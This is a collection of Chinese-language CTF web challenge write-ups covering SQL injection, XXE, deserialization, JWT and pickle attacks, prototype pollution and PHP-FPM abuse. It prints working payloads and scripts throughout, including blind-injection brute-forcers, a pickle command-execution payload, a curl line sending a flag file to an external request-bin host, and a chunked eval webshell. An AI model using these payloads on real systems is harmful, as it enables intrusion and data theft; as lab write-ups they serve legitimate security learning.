[GXYCTF2019]BabySQli
考点:SQL注入
题目界面
随便输入用户名和密码后查看源码得到提示
1 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
解开为
1 select * from user where username = '$name'
我们需要以admin
的身份登陆,可以使用union
查询,控制为任意密码
virink_2019_files_share
考点:文件读取绕过
题目界面
查看源代码可以看到存在uploads目录
下载时抓包,发现可能存在任意文件读取,测试后发现将../
替换为空,这里使用双写绕过即可
1 ....//....//....//....//....//....//....//etc..//passwd
[CSAWQual 2019]Web_Unagi
考点:xxe
题目界面
题目是想让我们上传与示例相符的xml
文件,不难联想到xxe
,在测试时发现某些关键字被过滤了,借鉴这篇文章
https://xz.aliyun.com/t/4059
可以用utf-16
编码来绕过,使用UltraEdit
软件来编写utf-16
的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version='1.0' encoding="utf-16"?> <!DOCTYPE message[ <!ELEMENT message ANY > <!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///yemoli/%file;'>"> %eval; %error; '> %NUMBER; ]> <users> <user> <username>aaa</username> <password>qqq</password> <name>bbb</name> <email>a@qq.com</email> <group>CSAW2019</group> <message>a</message> </user> </users>
按照正常方式发现回显位有长度限制,所以这里用到了与[GoogleCTF2019 Quals]Bnv
中一样的利用报错带出数据的方法
[GoogleCTF2019 Quals]Bnv
考点:xxe
题目界面:
该题目主要考点是xxe在无法加载外部dtd时错误数据的带出,参考下面这篇文章
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
payload:
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message[ <!ELEMENT message ANY > <!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///yemoli/%file;'>"> %eval; %error; '> %NUMBER; ]> <message>a</message>
[HarekazeCTF2019]Easy Notes
考点:session伪造
题目界面
登陆后可以添加note
,然后以压缩文件形式下载下来,当访问flag
页面时提示我们需要成为admin
,审计源码,会发现session
和压缩文件存储在同一路径下,看一下压缩文件的命名
由用户名,-
,八个随机串,和后缀构成,这个时候就给了我们伪造session
的机会
以用户名sess_
登陆,然后添加note
,title为|N;admin|b:1;
,body
随意,在下载时将type
改为.
,这样就得到了伪造的session
名称,替换一下即可
[RCTF2015]EasySQL
考点:二次注入
题目界面
在changepwd.php
处存在二次注入利用点,可利用报错函数带出数据
放上一个用户名的payload
1 1mio"||(extractvalue(1,concat(0x5c,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))))#
注入过程
1 2 3 4 5 6 7 8 9 10 11 12 select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) article,flag,users select(group_concat(column_name))from(information_schema.columns)where(table_name='users') name,pwd,email,real_flag_1s_here select(real_flag_1s_here)from(users)where(name='admin') (real_flag_1s_here)regexp('f') reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f')))
由于最后带出flag
的时候,报错函数存在回显长度限制,可以使用reverse
函数逆序输出,拼接得到完整的结果
[极客大挑战 2019]FinalSQL
考点:SQL盲注
题目界面
题目注入点在search.php?id=1
当id=1=0
和id=1=1
时会有不同结果返回,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport timeurl = "http://5d1768ad-6d8d-462b-96c1-5c28f6edb4fc.node3.buuoj.cn/search.php?id=1=" s = requests.session() result = "" dict_sql = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*/()_-+={}.:,' for i in range (1 ,2000 ): print ('====================================' ) for j in dict_sql: time.sleep(0.1 ) payload = "((ascii(substr((select(group_concat(password))from(F1naI1y)),{},1)))={})" .format (i,ord (j)) url1 = url+payload html = s.get(url1,timeout=5 ) if 'Click others~~~' in html.text: result = result+j print (result) break
数据
1 2 3 4 5 6 7 8 9 select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek') F1naI1y,Flaaaaag select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y') id,username,password select(group_concat(password))from(F1naI1y)
[安洵杯 2019]不是文件上传
考点:SQL注入,反序列化
题目界面
根据题目首页面泄露的信息,在GitHub
上找到了该站点源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php class helper { protected $folder = "pic/" ; protected $ifview = False; protected $config = "config.txt" ; public function upload ($input ="file" ) { $fileinfo = $this ->getfile ($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize ($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize ($my_ext ); $id = $this ->save ($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; } public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check ($_FILES [$input ]); } return $rs ; } public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); } public function save ($data ) { if (!$data || !is_array ($data )){ die ("Something wrong!" ); } $id = $this ->insert_array ($data ); return $id ; } public function insert_array ($data ) { $con = mysqli_connect ("127.0.0.1" ,"root" ,"root" ,"pic_base" ); if (mysqli_connect_errno ($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error ()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; mysqli_query ($con , $sql ); $id = mysqli_insert_id ($con ); mysqli_close ($con ); return $id ; } public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include ("./helper.php" );$show = new show ();if ($_GET ["delete_all" ]){ if ($_GET ["delete_all" ] == "true" ){ $show ->Delete_All_Images (); } } $show ->Get_All_Images ();class show { public $con ; public function __construct ( ) { $this ->con = mysqli_connect ("127.0.0.1" ,"root" ,"root" ,"pic_base" ); if (mysqli_connect_errno ($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error ()); } } public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); } public function Delete_All_Images ( ) { $sql = "DELETE FROM images" ; $result = mysqli_query ($this ->con, $sql ); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include ("./helper.php" );class upload extends helper { public function upload_base ( ) { $this ->upload (); } } if ($_FILES ){ if ($_FILES ["file" ]["error" ]){ die ("Upload file failed." ); }else { $file = new upload (); $file ->upload_base (); } } $a = new helper ();?>
存在一处注入点
helper.php
上部分未对title
进行过滤,可以在图中红线部分进行insert
注入,抽象出来的语句
1 insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('a','b','c','d','e')
a
是我们可控的,同时在show.php
中发现了反序列化的触发点
该处是针对语句中的e
进行反序列化操作,通过注入我们可以控制e
处序列化的字符串,利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class helper { protected $config = "/flag" ; protected $ifview = 1 ; public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); } } $a = new helper;echo serialize ($a );
然后将%00*%00
替换为\\0\\0\\0
,因为代码中存在该处替换
1 O:6:"helper":2:{s:9:"\\0\\0\\0config";s:5:"/flag";s:9:"\\0\\0\\0ifview";i:1;}
因为文件名中不可以有:"
等字符,把该段转化成16进制,最后文件名为
1 a','b','c','d',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b733a393a225c305c305c30696676696577223b693a313b7d)#
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 题目界面
用伪协议读一下源码
1 ?file=php://filter/convert.base64-encode/resource=index.php
重点代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = $_POST ["address" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if ($fetch ->num_rows>0 ) { $msg = $user_name ."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db ->prepare ($sql ); $re ->bind_param ("sss" , $user_name , $address , $phone ); $re = $re ->execute (); if (!$re ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?>
其中输入的时候confirm.php
未对address
进行过滤,只是进行了addslashes
处理,这样配合修改功能,就可以造成二次注入,可使用报错函数updatexml
,payload
如下
1 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
当更新地址时,该句会出现错误带出数据
1 "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']
[强网杯 2019]随便注 题目界面
该题目考察堆叠注入相关知识,其中有如下过滤
1 2 return preg_match ("/select|update|delete|drop|insert|where|\./i" ,$inject );strstr ($inject , "set" ) && strstr ($inject , "prepare" )
进行注入
1 ?inject=1';show databases;
1 ?inject=1';use supersqli;show tables;
1 ?inject=1';show columns from words;
1 ?inject=1';show columns from `1919810931114514`;
现在基本上清楚了数据库中表的结构,由于不能使用select
,这里使用alter
将words
表换成1919810931114514
,然后添加id字段,同时将flag
字段改名为data
字段,这样通过查询就可以直接拿到flag
,语句如下
1 ALTER TABLE words RENAME TO moli;ALTER TABLE `1919810931114514` RENAME TO words;ALTER TABLE words ADD id CHAR(10) DEFAULT '1';ALTER TABLE words CHANGE flag data BIGINT;
直接查询
[GWCTF 2019]枯燥的抽奖
考点:伪随机数
题目界面
控制台查看网络来到check.php
,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
这是个经典的伪随机数问题,可以参考该文章:https://www.freebuf.com/vuls/192012.html
将得到的部分字母还原成随机数
1 2 3 4 5 6 7 8 9 10 11 12 <?php $pass_now = "W0dCwtjQ3A" ;$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ;$len = strlen ($allowable_characters ) - 1 ;for ($j = 0 ; $j < strlen ($pass_now ); $j ++) { for ($i = 0 ; $i < $len ; $i ++) { if ($pass_now [$j ] == $allowable_characters [$i ]) { echo "$i $i 0 $len " ; break ; } } }
爆破种子
得到了在7.1版本下的种子,然后对完整的字符串进行还原,注意要在7.1版本下运行代码
1 2 3 4 5 6 7 8 9 10 <?php mt_srand (237387795 );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } echo $str ;
[HarekazeCTF2019]encode_and_encode 题目界面
重点源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );if (isset ($_GET ['source' ])) { show_source (__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode ('|' , $banword ) . '/i' ; if (preg_match ($regexp , $str )) { return false ; } return true ; } $body = file_get_contents ('php://input' );$json = json_decode ($body , true );if (is_valid ($body ) && isset ($json ) && isset ($json ['page' ])) { $page = $json ['page' ]; $content = file_get_contents ($page ); if (!$content || !is_valid ($content )) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace ('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content );echo json_encode (['content' => $content ]);
我们需要以json
的格式传入想读的文件名,但存在is_valid
函数进行安全检查,这里可使用unicode进行绕过,同时为了避免文件内容有拦截,可以进行编码,例如
1 {"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"}
在线转换
http://tool.chinaz.com/tools/unicode.aspx
[CISCN2019 华北赛区 Day1 Web2]ikun
考点:jwt伪造,pickle
题目界面
首先要我们购买lv6
,开始寻找lv6
所在页面,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport timeurl = "http://6664045a-dfa6-4a6c-9ffb-bb0cd3a6a5d2.node3.buuoj.cn/shop?page=" s = requests.session() for i in range (1 ,999 ): url1 = url + str (i) print ('=================================' ) try : html = s.get(url1) print (html.status_code) if "lv6.png" in html.text: print (url1) break except : print ('[-]ERROR' ) time.sleep(0.1 )
发现在181
页,购买时发现账户中的金额不足,抓包去修改折扣数值,将其改小一些,例如0.0000001
,购买后提示我们不是admin
,进而查看当前cookie
,发现是jwt
,拿出来爆破一下密钥
将cookie
替换,查看源码,给了源码泄露的地址,下载下来审计一下,发现了反序列化的点
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibclass payload (object ): def __reduce__ (self ): return (eval ,("__import__('os').popen('cat /flag.txt').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print a
[MRCTF2020]Ezaudit
考点:伪随机数
题目界面
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header ('Content-type:text/html; charset=utf-8' );error_reporting (0 );if (isset ($_POST ['login' ])){ $username = $_POST ['username' ]; $password = $_POST ['password' ]; $Private_key = $_POST ['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { header ('refresh:2; url=login.html' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header ('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password '" .';' ; $link =mysql_connect ("localhost" ,"root" ,"root" ); mysql_select_db ("test" ,$link ); $result = mysql_query ($getuser ); while ($row =mysql_fetch_assoc ($result )){ echo "<tr><td>" .$row ["username" ]."</td><td>" .$row ["flag" ]."</td><td>" ; } } } } function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr ($strings1 , mt_rand (0 , strlen ($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr ($strings2 , mt_rand (0 , strlen ($strings2 ) - 1 ), 1 ); return $private_key ; } $Public_key = public_key ();
可以爆破伪随机数种子
1 2 3 4 5 6 7 8 9 10 11 str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='W0dCwtjQ3A' str3 = str1[::-1 ] length = len (str2) res='' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res+=str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1)-1 )+' ' break print (res)
爆破出种子,然后生成对应的private_key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php mt_srand (1775196155 );function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr ($strings1 , mt_rand (0 , strlen ($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr ($strings2 , mt_rand (0 , strlen ($strings2 ) - 1 ), 1 ); return $private_key ; } $Public_key = public_key (); $pri = private_key (); echo $Public_key ; echo "<br>" ; echo $pri ;
然后用万能密码绕过拿到flag
[BSidesCF 2019]Mixer 题目界面
登陆后抓包,删掉cookie中user值的一位,出现如下报错
猜测是CBC加密,明文为如下格式
1 {"first_name":"aaa","last_name":"bbb","is_admin":0}
目标是将is_admin
的值变成1
虽然我们不知道初始化向量的值,但是由于明文是16位一组,可以对明文进行填充,这里放上一张网上的图
最后将1.000000000000的值插入到倒数第二个密文块即可
1 user=e7bad305dcc721367f5d961d63c3d340ca4aab0f874c635b68388961ef03dbeb6fe6a8eade0270198a1dc8524d634a8912ca916102c524c31daa8e088dffc2a8ca4aab0f874c635b68388961ef03dbeb8d5f5566bef8a2111ee37728c651b131
[网鼎杯 2020 青龙组]notes
考点:undefsafe导致的原型链污染
参考CVE-2019-10795 ,当undefsafe小于2.0.3时,会存在原型链污染漏洞,题目代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 var express = require('express'); var path = require('path'); const undefsafe = require('undefsafe'); const { exec } = require('child_process'); var app = express(); class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); } get_all_notes() { return this.note_list; } remove_note(id) { delete this.note_list[id]; } } var notes = new Notes(); notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'pug'); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' }); }); app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess', {message: "add note sucess"}); } else { res.render('mess', {message: "did not add note"}); } }) app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } }) app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: "please use POST to delete a note"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: "delete done"}); } else { res.render('mess', {message: "delete failed"}); } }) app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); }) app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!'); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); const port = 8080; app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
参考如下文章https://www.4hou.com/index.php/posts/Zppg
在/edit_note处存在原型链污染利用点,在/status路由下存在命令执行利用点,操作如下
首先污染原型
1 {"id":"__proto__","author":"curl -X POST -d \"fizz=`cat /flag`\" http://http.requestbin.buuoj.cn/1hrdjp81","raw":"aaa"}
然后访问/status路由
会执行curl命令,拿到flag
[HarekazeCTF2019]Sqlite Voting
考点:sqlite注入绕过
题目界面
源码
此处id是注入点,但是过滤了常规的注入函数。这里可使用replace进行长度的替换来进行盲注
用下面的测试来说明问题
这样通过逐位爆破就可以拿到flag
在本题中过滤了单引号,空格等特殊字符串,可以使用括号分割的方式来代替空格,然后使用双hex将flag转换为只有0-9的数字,但是replace替换只能替换完整的数字,我们可以使用||来将数字转换为字符串,测试如图
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport times = requests.session() url = "http://50f65f15-fd2f-4898-8a74-9f812aff59f4.node3.buuoj.cn/vote.php" result = "" for i in range (1 ,1000 ): print ("========================================================" ) for j in range (0 ,10 ): time.sleep(0.1 ) temp = result+"||" +str (j) len1 = 109 -i payload = f"abs(case(length(replace(hex(hex((select(flag)from(flag)))),3||6||3||6||3||6||4||3||3||6||3||1||3||6||3||7||3||7||4||2||3||3||3||7||3||6||3||5||3||6||3||4||3||3||3||7||3||3||3||2||3||3||3||9||3||6||3||5||3||3||3||9||3||2||4||4||3||3||3{temp} ,trim(0,0))))when({len1} )then(0x100)else(0x8000000000000000)end)" data = {"id" :payload} print (len1,payload) try : html = s.post(url,data=data) if "Thank you" in html.text: result = temp print (result) break except : pass
[PwnThyBytes 2019]Baby_SQL
考点:sql注入,session触发
题目界面
查看源码,index.php
过滤了传入进来的数据,接着看login.php
对于传入的参数没有任何过滤,但是存在着session
校验,直接访问是会die
的
查到如下资料
那么我们可以这样来绕过session
校验
然后就是正常的sql
注入,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport timedicts = "1234567890qwertyuiopasdfghjklzxcvbnm_,.-={}QWERTYUIOPASDFGHJKLZXCVBNM:?#@!$%^&*()" results = "" s = requests.session() url = "http://c911afa2-0281-44d1-8053-97a57aaeb3e6.node3.buuoj.cn/templates/login.php" for i in range (1 ,100 ): print ("===================================" ) for j in dicts: time.sleep(0.1 ) ass = ord (j) payload = f"""?username=ad"%20or%20if((ascii(substr((select%20secret%20from%20flag_tbl),{i} ,1))={ass} ),0,1)%23&password=1234567890""" cookies = {"PHPSESSID" :"b682f0720ec20073b57edf45e2041840" } html = s.post(url=url+payload,cookies=cookies,files={"file" :"666" },data={"PHP_SESSION_UPLOAD_PROGRESS" :122 }) if "Try" in html.text: results = results+j print (results) break
[WMCTF2020]Make PHP Great Again
考点:require_once小缺陷
题目如图
require_once
执行过后,继续使用该函数包含同一个文件不会再次包含,这里可以使用require软链接的小缺陷
尝试如下方式读取flag.php
1 php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
还可以使用如下方法
1 php://filter/convert.base64-encode/resource=/hello/../proc/self/cwd/flag.php
[Black Watch 入群题]Web2
考点:rollup注入,mysql任意文件读取
题目界面
登陆处过滤了or ' and
等,可使用group by with rollup
,可将username
的单引号转义掉,payload
如下
1 username=\&password=||1 group by token with rollup having token is NULL--+&question=1
成功登陆后台,在查看数据处可使用00
截断来进行目录穿越列目录
可以拿到flag
文件名,接着利用题目中的数据备份功能,配合mysql客户端任意文件读取漏洞读取flag
,参考如下文章
https://blog.csdn.net/qq_41107295/article/details/100743094
工具下载地址
https://github.com/allyshka/Rogue-MySql-Server
2018_web_virink_web
考点:限制字符数量写shell,PHP-FPM未授权访问漏洞,rsync未授权访问漏洞
题目界面
限制了 命令执行的长度长度,可分块写入shell
1 2 3 4 5 6 7 echo '<?php' >1 .phpecho -n 'eva' >>1 .phpecho -n 'l($' >>1 .phpecho -n '_PO' >>1 .phpecho -n 'ST[' >>1 .phpecho -n 'c])' >>1 .phpecho -n ';' >>1 .php
写入后发现存在内网服务,使用如下脚本探测端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import socketdef foo (): with open ('active_port.txt' ,'at' ) as f: for i in range (65535 +1 ): ip = '10.21.125.10' try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,i)) s.close() f.writelines(str (i)+'\n' ) except socket.error: pass f.close() pass if __name__ == '__main__' : foo() print ('ok' )
存在9000
和873
端口
9000端口存在PHP-FPM未授权访问漏洞,参考如下文章
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
脚本如下
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
1 python3 fpm.py 10.21.125.10 /www/redirect.php -c "<?php system(\'ls /\');?>
